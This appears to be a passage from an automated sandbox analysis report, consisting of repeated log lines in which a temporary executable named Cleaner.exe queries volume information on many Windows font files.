Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation			Jump to behavior
